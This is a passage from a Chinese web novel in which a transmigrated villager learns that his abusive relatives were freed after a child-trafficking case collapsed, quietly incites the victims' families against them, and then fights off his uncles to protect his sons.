存菜用的地窖,他们这里几乎各家各户都有,并算不上什么稀奇。
但是江河这个二流子今天竟然会主动下窖干活,着实是极为少见,也难得的很啊。
“不错不错,看来你小子确实是准备要痛改前非,跟家里人好好过日子了。”
“我今天过来也没有别的事,就是想要跟你说一声关于赵神婆贩卖孩子的那件案子。”
“那件案子今天上午就已经结案了,而你跟这件案子多少也有些牵扯,我便想着过来跟你说一声。”
江河闻言不由精神一振,同时也感觉有些疑惑,赵神婆等人才被抓走两天时间,怎么就已经彻底结案了?
现在县衙里的办公效率都这么高了吗?
只是,这两天他也没见或是听说有县衙里的差役过来走访调查,询问村里相关的案情啊?
“咋这么快就结案了?”江河脸上露出了恰到好处的惊讶,探声向王冶山问道:“不知县尊大人是如何判的?”
“赵神婆被判**了没有?还有江家老宅的那帮人做为帮凶,都被判了几年大狱?”
王冶山闻言,面色泛起了一丝不太自然的神色,轻轻摇头道:
“那赵神婆,在被押送到县衙大牢的当天晚上,就已经畏罪**……**。”
“啥?!赵神婆**?!”
“还是畏罪**?!”
江河失声惊呼,都有些被气笑了。
“冶山叔,你这不是在开玩笑吧?”
“那赵神婆前天被带走的时候,不是早就已经被人打断了手脚,打烂了嘴巴吗?”
“像这样一个手脚都不能动,牙齿都没留一颗的老太婆,你竟然告诉我她畏罪**了?”
“来来来,你来跟我说说,就她那个样子,她是怎么**的?上吊?撞墙?咬舌头还是直接绝食?”
似早就料到江河会是这般反应,王冶山轻耸了耸肩,无奈道:
“说实话,我在刚听到这个消息的时候,也觉得有些奇怪。”
“但是县里的通报就是这么说的,判决书都已下来了,咱们就算是心中有疑虑
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,也没有半点办法。”
“赵神婆家里没啥亲人,且又犯了这么重的罪,证据确凿,就算是突然死在了大牢里,也是罪有应得,没人会愿意为她出头叫冤。”
闻言,江河眼神微凝,迅速思量了一下这件事情会不会对他造成什么不良的影响。
什么畏罪**之类的理由,他是断然不信的。
唯一的解释就是有人想要“**灭口”,不想让赵神婆彻底闭嘴。
所以才会在赵神婆入狱的第一天,就迫不及待地把她给弄**。
那老妖婆常年装神弄鬼,坑蒙拐骗,谁知道她到底知道些什么,或是得罪过什么人?
又或者,是有什么大人物不想让她乱说话,怕因此会牵连出别的什么事情来?
不过这些,都跟他江某人没有什么太大的关系。
江河现在唯一担心的就是,赵神婆这次突然落网入狱,跟他可是有着直接的关系。
那些暗中灭了赵神婆口的人,不会因此迁怒到他的头上吧?
“那……老宅那边呢?是怎么判的?”
江河继续开口追问,不过心中已经有了不太好的预感。
“赵神婆一死,案子就断了线。”王冶山叹了口气,道:“江十二、王三妮还有江洋两口子,在公堂上一口咬**是受赵神婆蛊惑,他们也是被蒙骗的‘苦主’。”
“县令大人见主犯已死,证据不全,加上江贤、江达又分别请了他们各自的授业恩师出面求情,县令大人就判罚了他们两贯钱,将他们无罪释放了。”
果然!
原本是板上钉钉的铁案,就因为赵神婆的意外死亡,一切都发生了逆转。
老宅那边只罚了两贯钱就被无罪释放了!
这其中,赵神婆的死固然是一个契机,但是他的那两个好侄子怕也是没少出力啊!
江贤与江达,一个是秀才,一个是童生,在县学内拜的先生也都是三河县内极有名望的老学究。
他们两个想要继续科举,就一定不会让家里人摊上官司,沾染上半点儿污迹。
所以,他们定会不遗余力地去帮江十二、江洋等人脱罪,而他们的先生,就是他们手中最大的**资源。
江河不知江贤与江达是如何说服他们的先生出手帮忙的,但是有一点他却可以确定——
经过这件事情之后,他的这两个好侄子,必会记恨上他,以后指不定会怎么来对付他呢。
王冶山看着江河瞬间阴沉下来的脸色,心中了然,轻声劝慰道:
“江河啊,我知道你心里不痛快。这事儿……也确实让人感觉有些憋屈得慌。”
“但胳膊扭不过大腿,县尊大人既然已经判了,咱们就得认。”
说到这里,他神色稍顿了顿,语气也不由加重了几分:
“我今日过来,一来是告诉你这个消息,让你心里有个准备。”
“二来,也是要提醒你一句,冤家宜解不宜结,尤其是血脉亲缘。”
“他们毕竟是你的亲爹亲娘亲兄弟,以后都在一个村里住着,低头不见抬头见的。”
“听叔一句劝,他们日后若是不来主动招惹你,你也就……忍一忍,让一让,莫要再多生事端了。”
第129章 借刀**,驱虎吞狼
这话说得语重心长,似乎是在劝导和宽慰江河,是出于一片好意。
但是听在江河的耳中,却带着一股浓郁到让人作呕的“和稀泥”和“息事宁人”的味道。
显然,王冶山这个里正的屁股也是歪的,还是在明里暗里偏向王三妮一家。
在他和大多数王姓村民眼中,只要老宅那边不再明目张胆地欺负江河他们一家。
江河作为晚辈,就该“忍一忍”、“让一让”,就该“再退一步”,就该懂事的主动维持着两家表面的“和睦”。
对此,江河虽然心中极为反感,可是却并不觉得太过奇怪。
没办法,谁让人家全都姓王呢。
王三妮就算是再不对,再混账,她也是王家本族的人。
而江河他们一家,只是外戚,是外姓人。
王冶山作为下河村的里正,作为王氏家族下一任族长的**人,他偏向自己家的族人,没毛病。
江河沉默了片刻,心里骂着妈妈批,脸上却努力地挤出了几分“无奈”和“苦涩”,低声向王冶山道道:
“多谢冶山叔提醒,您说得对,我们虽然已经断了亲,在法理上已经没有了半文钱关系。”
“可他们毕竟生了我养了我,我确实不该一直记恨他们。”
“以后,只要……只要他们不再来逼我卖儿卖女,不再来抢我家的口粮,不再污蔑我偷了他们东西,烧了他们灶房,不再来我们家讹钱,我……我就远远的躲着他们就是了。”
“只是这话又说回来了,冶山叔,我江河也是站着撒尿的主儿,也是要脸要面子的人。”
“若是老宅那帮人不讲理,非想要继续骑在我的脖子上拉屎撒尿,非要来主动招惹我,欺负我的家人,您到时候可就别怪我不给您面子,反击的时候下手太狠了……”
江河一脸的委屈,几句话就又把老宅一家过去所做的那些恶心事儿一一叙述了一遍。
最后他也没有把话说死,只说自己不会主动去招惹老宅一家。
但若是老宅一家不当人,继续上门来寻他们家的麻烦,他也绝对不会任人宰割。
这种软中带硬甚至还带着尖刺的应对方式,直接就把王冶山给噎得有些说不出话来。
王冶山虽然心里多少有些偏向王三妮,可他毕竟是里正,也是要讲理的,至少表面上的正义不能缺失。
“你放心,你冶山叔也不是不明事理的人。”
王冶山**河挤兑得没办法,只能开口应承道:
“以后若是江十二与王三妮那边不开眼,还想要来寻你们家的麻烦,你想怎么反击就怎么反击,想怎么折腾就怎么折腾,我半点儿意见都没有。”
说完这些,王冶山深深看了江河一眼。
对这个已经变得跟以前完全不一样的江河,他着实是有些看不透了,甚至还有些怵得慌。
邪不邪祟的且不说。
就说他连着两次狂扇亲爹亲娘的耳光,甚至还打断了王三妮的一条腿。
还有,王神婆被人敲了闷棍,打断了四肢,打烂了口舌那件事情,多半也跟江河脱不了干系。
这样表面笑嘻嘻,暗中捅刀子的行事作风,凶残狠辣也就罢了,还特娘的让人挑不出半点儿理,抓住半点儿小尾巴。
让所有吃了闷亏挨了毒打的人,都拿他没有半点儿办法。
这才是让王冶山感觉到有些发怵,对江河最为忌惮的地方。
以前的那个江河,虽然也很混蛋,是个有名的地痞、二流子,也经常会跟人打架、敲人闷棍。
但是他那时的坏,全都坏在明面上,坏的同时还带着几分蠢笨,根本就不足为惧。
而且他以前也不会对自己的父母动手。
就算是跟人打架、敲人闷棍,也不会下死手,更不会狠辣到直接打断别人的四肢,打烂别人的口舌和牙齿。
相比之下,现在这个表面看上去人畜无害,说话做事也极为得体,对他这个里正似乎还很尊重的江河,反而更让人觉得忌惮与胆寒。
王冶山也怕自己说得多了说得重了,会**河记恨,晚上走夜路时会被人在暗中敲了闷棍。
现在该说的说了,该劝的劝了,作为村里的里正公,他也只能做到这一步了。
若是以后两家还要继续掐架,还要斗个你死我活,那就爱咋咋滴吧,反正最后吃亏的不会是他王冶山。
“知道了,冶山叔!”
得到了王冶山的口头承诺,江河脸上佯装出来的委屈瞬时消散不见,直接转换成一副憨厚老实的笑脸,很是丝滑的拍起了王冶山的马屁:
“我就知道冶山叔向来处事公道,对事不对人!肯定不会因为我们是外姓人就刻意难为我们,我在这里先谢谢您了!”
“行了行了,少在这里给我戴高帽,老子不吃这一套!”
王冶山冲江河轻摆了摆手,不过脸上的表情却明显比方才和缓愉悦了不少。
“跟你说,你爹娘他们估计明天就能回到村里,这件事情你心里有数就行。家里孩子多,记得要看紧些,别让他们在外面乱跑。”
“知道了,谢谢冶山叔。”对于王冶山这般隐晦的提醒,江河再次拱手道谢。
接下来,二人又站在门口寒暄了几句,王冶山便借口还有别的事情要做,转身离开了。
送走了王冶山,江河重新关上院门,脸上的笑容瞬间敛去,眼神随之变得深沉而冰冷。
王冶山的态度,在他的意料之中。
宗族社会,里正偏向本族人是常态,像王冶山这样,能做出表面上的“公道”承诺,其实已经算是不错了。
只是,这种口头上的承诺最终能有多少效力,那就不得而知了。
“老宅的人竟然明天就要回来了……动作倒是挺快。”
想起王冶山最后的提醒,江河不由一声冷哼,眼中寒光闪烁。
老宅的那帮人是什么德行,他可是再清楚不过了,他们回来之后,肯定不会就此消停老实下来。
这一次,老宅不但失财失物,甚至还在县大狱里走了一遭,吃了这么大的亏,遭了这么大的罪,还赔了那么多钱,他们能忍得下这口气才是怪事。
他们回来之后,就算是江河能忍住不主动去招惹他们,他们也必然会忍不住来报复江河。
尤其是王三妮那老虔婆,心胸狭隘,睚眦必报。
这次吃了这么大
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亏,又**河当众打断了腿,送进了县大狱,心里不知道憋着多大的火,埋着多深的怨呢。
以她那小肚鸡肠、泼辣阴毒的性子,绝对会把所有账全都算在江河头上。
她要是回来了,肯定会日夜盯着他们家,伺机报复回来。
江河倒是无所畏惧,不怕任何阴谋诡计,但是家里的那几个孩子却是未必了。
刚刚王冶山临走前特意提醒他要看好孩子,怕也是有着这方面的担心。
“这世上只有千日做贼,哪有千日防贼的道理?必须得想办法主动出击,给那帮狗东西找点儿麻烦才行!”
江河微蹙着眉头,轻声自语。
坐以待毙,被动防守可不是他江某人的行事风格。
心里这么想着,江河的目光不由就瞟向了隔壁的王老四还有对面的王小顺家。
这两家可是**案的直接苦主。
他们两家的孩子,全都是**十二和江洋父子二人给迷晕并送到赵神婆家的地窖之中的,差一点儿就没了性命。
整个下河村,若说有哪一家人对老宅那帮狗东西恨之入骨,那绝对非王老四与王小顺这两家莫属了。
若是让他们知道江十二、江洋还有王三妮、王艳四人被无罪释放,且明天就要回来了,这两家人绝对不会善罢甘休。
嘿嘿嘿……
想到这里,江河不由奸笑了两声,没有半分犹豫的,转身开门,直接就朝着隔壁的王老四家走去。
不就是通风报信、告黑状吗?
对付老宅那帮白眼狼,他可是半点儿心理负担也不会有。
他这个“外姓人”,直接对上老宅,难免被村里的宗族势力掣肘、针对。
但若是让同是王氏族人的苦主,打着报仇的旗号去找老宅一家的麻烦,那性质就完全不同了。
王老四和王小顺这两家的孩子差点被拐走,甚至险些在赵神婆家的地窖里丢了性命,这可是实打实的血仇!
而且他们都是正儿八经的王氏族人,族内兄弟叔伯众多,实力半点儿不比王三妮的娘家人弱。
如果他们知道险些害死他们孩子的仇人并没有被判刑。
甚至连半点儿像样的刑罚都没有加附于身,还马上就要大摇大摆地回来了。
他们能咽得下这口气?
姥姥!
他们才不会管什么县里的判决结果是怎么样的。
他们只知道,就是江十二与江洋这两个混蛋害了他们家孩子。
之前江十二与江洋被送进了县大狱,王老四与王小顺两家人拿他们没办法。
但是现在,绑了他们孩子的罪魁祸首就要平安无事的回来了,他们哪里还能再按捺得住?
若是这三家在村子里起了冲突,打闹了起来,看他王冶山还怎么和稀泥,还会不会继续偏向王三妮?
想到这里,江河不由再次冷声轻笑起来。
讲真,他还真是很期待看到,那个时候的王冶山,脸色会变换成什么样子。
这叫什么?
这就叫做借刀**,驱虎吞狼!
哪怕他江某人不正面出手对付老宅一家,也一样能让江十二、王三妮以及江洋、王艳几人吃不了兜着走!
第130章 江河兄弟,这事跟你没关系
“哟,是江河兄弟过来了啊,快请进来坐!”
“家里的,快出来,江河兄弟过来了!赶紧把屋里的干果点心还有昨儿新买的蜜饯,拿出来给江河兄弟尝尝!”
王老四正好在院子里劈柴,看到江河进门,连忙放下斧头,热情无比地迎了上来。
在招呼江河进屋的同时,还不忘朝屋里的媳妇喊了一声,让刘桂花把家里最好的干果点心拿出来招待江河。
看这架势,不知道的还以为是他们家来了什么贵客。
“来了来了!江河兄弟既然到都家门口了,还站在院子里做什么,赶快进屋坐啊!”
刘桂花闻言,风风火火的就端着一盘干果和蜜饯出了房门,看到江河正站在院子里跟当家的说话,便满脸欢笑的迎了出来,热情无比的招呼道:
“江河兄弟,你可是我们家小豆子的救命恩人,这两天我们一直忙着照顾小豆子,都没来得及登门向你道谢,你可千万别见怪啊!”
“来来来,现在你既然到家来了,咱们进屋说话,我这就让小豆子从屋里出来,给你磕几个头,谢谢你的救命大恩!”
江河连忙摆手道:“不用了不用了,我其实也没做什么,就是事赶事,碰巧了,四嫂子不必如此。”
“对了,小豆子现在怎么样了,缓过来了吗?”
听江河问起自己儿子的情况,刘桂花的神色瞬时就变得暗淡了几分,轻叹了口气,道:
“情绪倒是比前两天稳了些,可晚上还是会不断做噩梦,白天也老躲在家里,不敢出门。”
“这孩子,真是被吓怕了!”
说着说着,似想起了小豆子当日被救出来时的惨象,刘桂花不由心疼地又抹起了眼泪:
“都怪那天杀的赵神婆,还有江十二与江洋那两个狗东西,你说他们怎么能那么狠心呢,对一个孩子都下这样的毒手……”
“以后千万别让老娘再看到他们,否则老娘非挠死他们不可!”
提起赵神婆与江十二父子,王老四的脸上也是一脸的愤恨与怒色,不过他的情绪还算稳定,抬手轻拍了拍自家媳妇的肩膀,道:
“好了,别哭了,尽让江河兄弟笑话!”
“赵神婆还有江家那些混账东西,不是都已经被抓到县衙里去了么?
就他们犯下的那些罪,县老爷就算是不砍了他们的脑袋,也会判他们个几十年大狱,咱们这辈子怕是都见不到他们了!”
听到这里,江河的嘴角不由一抽,有些欲言又止的开口插了一句:
“王四哥,你怕是还不知道吧,赵神婆的案子其实已经结了!”
“我今天过来想要跟你说的,其实就是这件事情。”
“刷!”的一下,王老四与刘桂花二人的目光同时朝着江河这边扫来。
“江河兄弟,你说啥?!”
“赵神婆的案子已结了?我们咋半点儿消息也没听说呢?!”
夫妇二人闻言,一脸惊诧与急切地开口向江河询问道:
“结果咋样?”
“赵神婆有没有被**,江十二、江洋那俩狗东西都被判了几年大狱?”
“唉~!”
江河未言先叹气,声音有些沉闷的开口说道::
“其实我也是刚刚才从里正公那里得来的消息,冶山叔跟我说,赵神婆畏罪**,已经**。”
“而江十二、王三妮、江洋还有王艳那一家子,则被县老爷判了无罪,已经从县大牢里放出来了,明天应该就要回村了!”
“啥?!”
王老四脸上的神色瞬间僵住,眼睛猛地瞪圆,手里的斧头一个没握住,“咣当”一声直接掉在地上。
“无……无罪释放?!明天就回来?!”
王老四的声音都变了调,脸上的肌肉因为愤怒而变得有些扭曲,抽动不止。
“他们差点害死我儿子!就这么放回来了?!还有没有天理了?!”
刘桂花也是差不多的反应,端着干果和蜜饯盘子的双手抖个不停,眼中的怒火冲天,口中的牙齿紧咬,气得竟一句话也说不出来。
“谁说不是呢!”
看到这夫妻俩这般愤恨、暴怒的样子,江河也跟着又叹了口气,一脸同仇敌忾的样子,继续拱火道:
“我在听到这个消息后,心里也是堵得慌,憋闷得不行。”
“可这案子衙门已经判了,咱们也没办法不是。”
“就是觉得……唉,他们这样有拐卖小孩前科的人一回来,怕是又要不安生了。”
“我来就是想要告诉四哥一声,你家孩子最近可得看紧点,我家的那几个也是一样,我刚才还跟他们交待,这几天都不许再到院门外玩儿了……”
这话无异于火上浇油。
王老四本就因为孩子的事对老宅恨之入骨,现在听说仇人非但没受到严惩,还要大摇大摆地回来,那股邪火噌地一下就蹿到了天灵盖!
“姥姥!”
王老四猛地一脚踹飞了地上的木柴,双眼赤红,厉声暴喝道:
“他们还想回来?老子特么让他们有命回来,没命进村!”
“江河兄弟,多谢你来跟哥哥我说这个事,有心了!这个情我王老四记下了!”
“四哥你千万别冲动,我就是来跟你说一声,让你心里好有个防备……”江河连忙开口劝说道。
“防备个屁!老子这就去叫人!找族长!找里正!要是他们敢包庇江十二、王三妮一家,敢让他们回村子里,老子跟他们没完!”
王老四说着,捡起地上的斧头,红着眼就冲出了家门,直奔他大哥家。
“王四哥,千万别冲动啊,有什么事情咱们完全可以心平气和慢慢解决,真没必要这么激动……”
见王老四气呼呼的出门去寻人,江河在后面高声劝诫,一副不想把事情闹大的模样。
“江河兄弟,你就别劝了,这事儿跟你没关系,你能来告诉我们一声,我们一家就承了你的情了!”
刘桂花一把将江河拉住,一双血红的眼睛带着无尽的愤恨之色,咬着牙说道:
“今天这口气,我们老王家若是忍了吞了,以后哪还有脸再待在这下河村?”
“嫂子知道,江十二与江洋与你是血脉至亲,你不好掺和到这件事情里面。
你也听嫂子一句劝,接下来的事情你就别管了,就当什么都
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不知道就好!”
说着,刘桂花竟直接推着江河出了院门,语气之中满是感激的正色说道:
“江河兄弟,你对我们老王家的恩情,嫂子都记在心里呢。”
“待眼前这件事情结束之后,嫂子就带着老王与小豆子,专程登门向你表示感谢。”
“但是现在,嫂子就不留你在家里坐了,你且回家歇着,今天这事儿不管再怎么闹,也都跟你没关系!”
江河见状,也不再坚持,顺势向后退了两步,扭头朝着对面王小顺家看了一眼,有些犹豫道:
“四嫂子,我原本还想要到小顺兄弟家去说一声呢,可是看你们这样,我都不知道还要不要把这个消息告诉他们了。”
“万一小顺兄弟也像王四哥这样激动,咱们下河村可真是要闹翻了天了,要是让里正知道是我跟你们通的风报的信,还不得埋怨死我?”
刘桂花闻言,眼前不由一亮。
对啊,前天被拐走的孩子又不止他们一家,就算是要闹,也不能只他们一家出头。
王小顺也是苦主,也跟江十二、江洋父子有着化不开的仇怨。
要是让他们知道江十二父子被无罪释放,明天就回来了,他们岂会袖手旁观?
所谓人多力量大。
王小顺家也有十好几个叔伯及堂兄弟,再加上他们老四家的十几口男丁,指定能把江十二、江洋父子给打出屎来!
就算是里正与老族长出面,也休想阻止他们为自己的孩子报仇!
“江河兄弟,小顺兄弟那你就别管了,一会儿嫂子亲自去他们家报信!”
“他们也是这件案子的苦主,这事儿不能瞒着他们!”
说到这里,刘桂花深看了江河一眼,接声道:
“你现在就回家老实待着,家里还有一群孩子等着你去照看呢。”
“嫂子跟你保证,你今天过来我们家报信的事情,我们谁也不会告诉。
就算是里正问起来,我也会让你四哥说是昨天进城的时候碰巧听到的。”
“总之,这事儿以后不管再怎么闹,闹得有多大,也跟江河兄弟你没有半点儿关系!”
说着,刘桂花又将江河往后推了推,没有半分犹豫的,径直抬步走向了对面的王小顺家。
江河站在原地,看着刘桂花离去的背影,眉头不自觉的微挑了挑。
这个老四嫂子,似乎已经察觉到了他在刻意引导、挑拨的用意与目的了。
不过人家并没有直接点明,还很讲义气的主动站出来为他兜底掩护。
看样子,是真的记了他的情,在用这种方式来报他的恩呢。
如此,倒也不枉他那天费心费神的引导着他们救了王小豆一命。
江河心中暗忖,对这个知恩图报的老四嫂,倒是多了几分好感。
他没有再在原地继续停留,转身快步朝自家方向走去。
现在,该拱的火已经拱起来了,而且看起来比他预想中烧得还旺。
王老四和刘桂花都不是善茬,王小顺一家的实力也丝毫不弱。
现在两家合起来,一起去寻老宅的麻烦,足够江十二、王三妮他们喝上一壶的了。
第131章 王家五虎,来者不善
刚进家门没多久,江河就听到身后对门王小顺家传来了一声惊**吼,紧接着就是一阵女人的哭闹及摔砸东西的声音。
再之后,江河就听到一阵急促的脚步声从家门前路过。
跟刚刚匆忙出门的王老四一样,王小顺还有他老娘王孙氏,也回他们家老宅摇人去了。
听到这个动静,江河的嘴角不由微微勾起。
现在戏台已经搭好,接下来他只管安心等着看戏就行了。
相信王老四与王小顺他们两家,绝对会给即将回来的江十二、王三妮等人一个天大的惊喜。
江河的心情不错,哼着小曲回到堂屋。
看到几个孩子正乖乖的围坐在屋内的方桌前,等着江沫儿给他们发糖果呢。
看到江河从外面进来,一个个的全都叽叽喳喳、争先恐后的叫起了“爷爷!爷爷!”、“姥爷!姥爷!”,亲昵得不得了。
江河瞬时就感觉整个耳朵都酥酥麻麻的,别提多顺耳了,脸上的表情也不自觉的变得和缓慈爱了起来。
看着眼前这足足九个两三岁、四五岁的小孙子孙女、外孙外孙女,再加上江沫儿这个半大闺女,感觉就像是进了某个幼儿园一样。
尤其是当这九个小娃娃凑到一起,同时用这种清脆稚嫩,且还软糯亲昵的童音开口叫他爷爷、姥爷的时候——
他非但不觉厌烦,反而还倍感欢欣愉悦。
穿越之前,江河都不知道自己竟然会这么喜欢小孩子。
“乖了乖了!你们跟小姑、小姨在这里好好玩,晚上爷爷、姥爷还给你们做好吃的,好不好?!”
江河脸上笑眯眯,说话的语气都不自觉地温柔了下来。
“好!”
“谢谢爷爷!”
“谢谢姥爷!”
“爷爷做的饭菜可好吃了,我们都很喜欢!”
“……”
九个小娃子欢声应和,几个大些的小家伙甚至还拍起了江河的马屁,逗得江河再次开怀大笑起来。
**!
**!
“江河伯伯在家吗?!”
“江河伯伯在不在?!”
正当江河跟这些小孙子小外孙互动玩闹的时候,院门外突然传来了一阵急促的敲门声和叫嚷声。
江河脸上的神色微变,叮嘱江沫儿在屋里看好这些小家伙后,就站起身快步出了屋门。
到了门外,远远的看到竟是赵寡妇家的大儿子王承,正一脸焦急的拍打着他家的院门。
江河不由微微皱起了眉头,他都已经明确跟赵寡妇说过了,以后桥归桥,路归路,没事少再来往。
怎么的现在,这赵寡妇家的大儿子却又寻了过来?
“江河伯伯!”
院门外,王承透过门缝看到江河从屋里走出来,连忙高声说道:
“江河伯伯,不好了!江源哥还有**哥、江天哥他们在村东头被王大虎五兄弟给堵住了,我过来的时候,他们似乎已经打起来了!”
江河闻言,不由心中一紧,三步并作两步走,快速走到院门处,一把抓住王承的胳膊,切声问道:
“到底是怎么回事儿,你给我详细说来!”
王承的胳膊**河攥得生疼,不过他还是咬着牙急声说道:
“刚刚我去村东的私塾进学,路过村口的时候,看到王大虎、王二虎他们兄弟五个,把从村外回来的江天、**、江源哥他们给围住了。
王大虎他们不但抢了江源哥他们买回来的粮食,还要打江源哥他们……”
“江河伯伯,你快去看看吧,去得晚了江源哥他们就该吃亏了!”
王大虎,王二虎?
听到这两个名字,江河的脑海之中不自觉地就翻涌出了一些与之相关的记忆片段。
王家五虎,就是王三妮的五个好兄弟,同时也是原身的五个亲娘舅。
个个生得人高马大,身强力壮,而且脾气也一个比一个火爆,在下河村里也能称得上是一霸。
王三妮那个虔婆之所以敢在下河村里横行霸道不讲理,除了是因为有原身这样一个无赖却极为孝顺的大儿子之外,他的五个娘家兄弟也是她最大的依仗。
在原身的记忆中,他小时候可是没少挨过这五个舅舅的揍,长大之后更是对这五个舅舅畏惧至极。
在这五个娘舅的跟前,那是要多听话就有多听话,规矩得一批。
另外,早在一年之前,王家五虎似乎就通过江贤的在城里的关系,寻了一门坊工的营生,每当农闲之时,就会举家搬到县里去做工,赚些过年的钱。
所以,自打江河穿越过来之后,一直都没有机会遇到他们。
不想现在,他们竟突然就回来了,而且还好巧不巧的在村头堵住了江天、**、江源兄弟三个。
看样子,这王家五虎,应该是在县城里见到王三妮与江十二了。
知道了这段时间家里发生的事情,这是上赶着回来给他们家妹子及姐姐出头来了!
当然,也不排除他们是为了给明日即将回来的王三妮一家探路打前站,提前试探一下村里人的反应。
毕竟,江十二与江洋之前做的那些事情已经犯了众怒,还得罪**王老四与王小顺两家。
若是不先把这些矛盾给解决了,江十二与王三妮哪有胆子敢直接回来?
想通了这些,江河的眼中不由寒光微闪。
原本他只是想要老实的站在后面隔岸观火看大戏的,却不想这王家五虎一回来就主动寻上了门来。
既然如此,那就别怪他心黑手狠,直接断了这五虎的爪牙了!
“做得不错!”
江河松开了王承的胳膊,抬手在他的肩膀上轻拍了拍,道:
“接下来的事情你就别掺和,乖乖去私塾上课,晚上时候我会让江源给你们家送些吃的,算是你这次过来报信的酬劳!”
说完,不等王承多说什么,江河就快步如飞,朝着村东方向疾赶而去。
片刻。
村东头,老槐树下。
隔着老远,江河就看到自己家的三个儿子,正被五个人高马大的汉子围在中间群殴。
江天、**、江源三人身上脸上全都挂了彩,可是却仍在奋力抵抗。
他们脚下的地上,散落着被扯破的麻袋和撒了一地的粮食。
周围,已经有不少村民听到动静出来围观,可是当他们看到是王家五兄弟回来了,正在殴打江河家的三个儿子时,一个个的全都缩起了脖子,没有一人敢上前劝阻,帮忙。
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事实上,他们别说是劝阻了,就连去江河家报声信儿的勇气都没有。
若不是王承那小子够机灵,提前跑来跟江河通风报信,江河怕是直到现在都还什么都不知道。
他要是没有及时赶来,江天、**、江源这仨小子,还不知道会被揍什么样子呢。
江河赶到近前的时候。
江源额头已经破了道口子,鲜血顺着脸颊直往下流。
**的胳膊似乎被打伤了,有些不自然地下垂着。
江天挺身挡在两个弟弟身前,手里死死攥着一根用来挑粮食的扁担,眼神凶狠,嘴角紧抿,死死盯着面前的五人。
看他身上满是灰尘的脚印,就知道他刚刚也没少挨揍。
“这仨小兔崽子,还挺能扛!比他老子小时候扛揍多了!”
王大虎掂量着手里的粗木棍,狞笑着看着江天三人道:
“小崽子们,不想再挨揍的话,就乖乖把身上剩下的钱全都交出来,然后再跪下给你们这几个舅爷挨个磕三个响头,承认你们身上的钱全是从你们爷奶家偷来的,今天老子就饶了你们!”
“做梦!”
江天恨恨的啐了一口带血的唾沫,眼中燃烧着怒火,没有半点儿惧意直视着王大虎几人,高声叫骂道:
“你们抢了我们的粮,打了我们的人,还想让我们跪地磕头,污蔑我们偷老宅的钱?
你们果然跟王三妮那个老虔婆一样,都不是什么好东西!”
**与江源也跟着帮腔叫骂:
“就是,一帮只会以大欺小,以多欺少的狗东西,凭什么让我们下跪磕头?!”
“我们买粮的钱全是我们这些年辛苦攒下来的,跟老宅没有半文钱关系,你这老货少往我们身上泼脏水!”
“我三哥说得没错!我们家已经跟王三妮断了亲了,你们休想再用舅爷的身份来压我们,我们……我们不怕你们!”
“特么的!全都嘴硬是吧?!”
见这几个小崽子非但不服软,还想反过来跟他们炸刺儿,出言挑衅痛骂他们。
老二王二虎的眼神一冷,不由分说,抡起手中的棍棒就往江天的身上招呼起来。
“一帮上不得台面的不孝子孙,看老子今天不打断你们的狗腿!”
刷!
就在王二虎手中的棍棒马上就要落在江天身上的时候,一只手掌如同铁钳,闪电般的直接搭在了王二虎的手腕上。
王二虎的身形一僵,高高扬起的手臂竟再也挥不下半分。
“王二虎,你想要打断我儿子的腿,有没有问过老子的意见?”
就在这时,江河冰冷的声音幽然在王二虎的耳边响起。
说话的同时,江河右手稍一用力,只听得“咔嚓”一声,王二虎握着棍棒的那只手竟直接**河给生生捏断。
啊~!
趁着王二虎惨叫痛呼的空当,江河又是一脚飞出,瞬时就将王二虎踹出三米开外。
王二虎重重摔在地上,抬手捂着自己被折断的手腕,痛得在原地直打滚,惨叫不断。
“爹!”
江天、**、江源三兄弟,看到竟是他们的老爹及时赶到,如同看到了救星一般,惊喜不已,齐齐向江河身边凑了过来。
第132章 打架不行,嘴炮更菜
“爹,你咋来了?!”
江天脸上闪过一丝莫名的感动与深深的意外之色。
他没想到,在这么紧要且危险的关头,他们这个一向不太靠谱的老爹竟然会及时出现并挺身而出。
更牛逼的是,老爹一出手,竟然就折断了王二虎的手腕,还一脚将人高马大,足有两百余斤的王二虎踹出了那么老远!
啥时候他爹的力气竟变得这么大了,以前他竟半点儿也没发现!
还有,在江天的记忆中,他们这个渣爹在村子里最怕的人似乎就是眼前这五位舅爷,每次看到他们,都像是老鼠遇见了猫,恨不得夹着尾巴走路,半点儿也不敢跟他们犟嘴。
可是现在,老爹的胆气似乎一下膨胀了几十上百倍,非但不再害怕这五位舅爷,甚至还出手打伤了王二虎!
“爹!你可算是来了!你看,就是他们这帮老混蛋,把我们买来的粮全抢了!”
“不止如此,他们要抢我们的钱,还逼我们说这些钱全是从老宅偷来的!”
**可没有江天那么多复杂的心思。
看到老爹突然出现,他一直紧张害怕的情绪瞬间就完全稳定了下来,躲在江河身后,半点儿也不客气的告起了王家五虎的黑状。
他老爹打架的本事如何,**昨天在柳树村可是亲眼所见。
大姐夫本家那二十余口族人,其中不乏身形如王家五虎这样高大健硕的青壮汉子,结果还不是被他爹一个人轻松撂倒,全都给收拾了?
刚刚他之所以憋着一口气,硬挺着没哭,没跪地求饶,就是因为他知道自己的老爹一定会来救他们。
若是让老爹看到他又像以前那样没出息的哭鼻子,给人家跪地磕头,天知道老爹会对他如何失望,又会怎么惩罚他?
老四江源没有说话,只是默默的站在江河的身后,看着老爹那宽厚高大的背影,心中没来由的一阵心安,暖意洋洋。
刚刚老爹对王二虎说的那句“想要打断我儿子的腿,有没有问过老子的意见?”,实在是太霸气、太有范儿了,听得江源一阵热血沸腾,感动得眼圈儿都红了。
从小到大,他还从来都没有感受到过被亲爹这样保护、庇佑的滋味儿呢!
江河的目光在三个儿子身上一一扫过,看到他们脸上和身上的伤,眼底的寒意更盛。
“胳膊怎么了?”江河的目光最终落在**那两条不自然下垂的胳膊上,轻声询问。
**咬牙忍着疼,努力不让自己哭出来,颤声回道:
“被他们用棍子打了几下,疼得厉害,使不上劲,都抬不起来了。”
江河眸光微闪,知道**这两条胳膊应该是被打得脱臼了。
不然的话,他就不是使不上劲那么简单,而是会像王二虎现在那样,疼得在地上直打滚了。
“站着别动,我来给你看看!”
江河上前一步,伸手在**的胳膊上快速而精准地轻捏了两下,只听见两道细微的“咔哒”声,错位的关节便被复位。
没有什么特别的手法和医道技巧,而是他六十年八段锦修行经验所培养出来的本能手段。
在双手碰触到**两条手臂的瞬间,就感应到了他体内关节错位的具体状况,本能的发力使力,轻易就将错位的关节完美复位。
“嗯~!”
**闷哼一声,随即便发现两条手臂处的剧痛缓解了许多。
原本使不上劲,抬不起来的两条胳膊,又能轻松抬起,自由活动了。
没断就好!
